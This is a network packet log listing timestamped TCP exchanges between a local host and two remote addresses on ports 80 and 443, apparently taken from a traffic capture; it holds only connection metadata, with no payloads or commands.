Dec 19, 2024 20:11:31.107589960 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.108514071 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.108614922 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.108733892 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.108794928 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.109678984 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.109751940 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.110147953 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.110284090 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.110838890 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.110980988 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.111016989 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.111083031 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.112081051 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.112138987 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.112169027 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.112212896 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.113234043 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.113287926 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.113524914 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.113631964 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.114464998 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.114548922 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.114576101 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.114654064 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.115641117 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.116048098 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.116094112 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.116725922 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.116852999 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.116873980 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.116978884 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.117966890 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.118036985 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.118073940 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.118123055 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.119163036 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.119255066 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.119276047 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.119359016 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.120297909 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.120369911 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.120902061 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.120954037 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.121541977 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.121649981 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.122133017 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.122199059 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.122816086 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.122878075 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.122987032 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.123090029 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.124162912 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.124221087 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.124252081 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.124305964 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.125072956 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.125195980 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.125230074 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.125284910 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.126576900 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.126624107 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.126791954 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.126882076 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.127362967 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.127417088 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.127969980 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.128021955 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.128844976 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.128851891 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.128896952 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.129726887 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.129792929 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.129926920 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.130007982 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.130894899 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.131172895 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.131267071 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.132219076 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.132297039 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.133065939 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.133124113 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.133287907 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.133363008 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.134238005 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.134466887 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.134553909 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.134812117 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.134946108 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.135699034 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.135754108 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.136246920 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.136293888 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.136821985 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.136859894 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.136967897 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.137937069 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.137996912 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.268084049 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.268244982 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.268345118 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.268403053 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.268491983 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.268547058 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.268858910 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.268867016 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.268927097 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.270019054 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.270088911 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.270118952 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.270307064 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.271128893 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.271336079 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.271365881 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.271433115 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.272274017 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.272363901 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.272438049 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.272495031 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.273500919 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.273559093 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.273979902 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.274044037 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.274751902 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.274759054 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.274811983 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.275885105 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.275939941 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.276129961 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.276254892 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.277107954 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.277154922 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.277168036 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.277208090 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.278244019 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.278331995 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.278575897 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.278630018 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.279375076 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.279433012 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.279620886 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.279674053 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.280559063 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.280648947 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.280714035 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.280787945 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.281718969 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.281851053 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.281946898 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.282017946 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.282972097 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.283025980 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.283092976 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.283139944 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.284486055 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.284497976 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.284595966 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.285309076 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.285522938 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.285803080 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.285852909 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.286514997 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.286626101 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.286664009 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.286761999 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.287672043 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.287743092 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.288341045 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.288403988 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.289066076 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.289118052 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.289130926 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.289192915 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.290127993 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.290182114 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.290227890 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.290293932 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.291229010 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.291333914 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.291372061 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.291428089 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.292412996 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.292514086 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.292548895 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.292613029 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.293677092 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.293683052 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.293768883 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.294729948 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.294786930 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.294850111 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.294909000 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.296072960 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.296155930 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.296181917 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.296273947 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.297120094 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.297208071 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.297730923 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.297786951 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.298247099 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.298319101 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.298383951 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.298906088 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.299484968 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.299565077 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.299604893 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.299643040 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.300600052 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.300760984 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.300781965 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.301034927 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.301816940 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.301870108 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.302124023 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.302189112 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.303016901 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.303025007 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.303116083 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.304225922 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.304303885 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.304661989 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.304718971 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.305408955 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.305417061 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.305476904 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.306680918 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.306696892 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.306759119 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.307749987 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.307811975 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.308486938 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.308568001 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.309039116 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.309046984 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.309101105 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.310121059 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.310189009 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.310206890 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.310241938 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.311234951 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.311289072 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.311361074 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.311412096 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.312470913 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.312521935 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.312542915 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.312592030 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.313606024 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.313683033 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.314064980 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.314141989 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.314752102 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.314980030 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.315363884 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.315416098 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.315951109 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.316016912 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.316119909 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.316184998 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.317152977 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.317213058 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.317315102 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.317375898 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.318300009 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.318370104 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.318403006 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.318454027 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.319720030 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.319726944 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.319811106 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.320662022 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.320764065 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.320935965 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.320985079 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.321860075 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.321916103 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.322467089 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.322562933 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.323086023 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.323143959 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.323183060 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.323231936 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.324218035 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.324354887 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.324496984 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.324537992 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.325356960 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.325429916 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.325462103 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.325508118 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.326564074 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.326637030 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.326729059 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.326802015 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.327747107 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.327801943 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.327905893 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.327963114 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.328912973 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.329103947 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.329694033 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.329737902 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.460078001 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.460170984 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.460216999 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.460275888 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.460699081 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.460711956 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.460750103 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.460855961 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.462438107 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.462447882 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.462518930 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.463062048 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.463176966 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.463182926 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.463234901 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.464195013 CET	80	49815	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:31.464370966 CET	49815	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:31.819386005 CET	443	49826	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:31.819458961 CET	49826	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:31.858438969 CET	49826	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:31.858459949 CET	443	49826	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:31.858879089 CET	443	49826	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:31.860466003 CET	49826	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:31.860611916 CET	49826	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:31.860646009 CET	443	49826	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:31.861629963 CET	49826	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:31.861641884 CET	443	49826	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:32.800894022 CET	443	49826	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:32.800982952 CET	443	49826	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:32.801023960 CET	49826	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:32.810779095 CET	49826	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:32.810812950 CET	443	49826	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:33.011837006 CET	49832	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:33.011887074 CET	443	49832	104.21.91.209	192.168.2.4
Dec 19, 2024 20:11:33.011974096 CET	49832	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:33.012564898 CET	49832	443	192.168.2.4	104.21.91.209
Dec 19, 2024 20:11:33.012578964 CET	443	49832	104.21.91.209	192.168.2.4
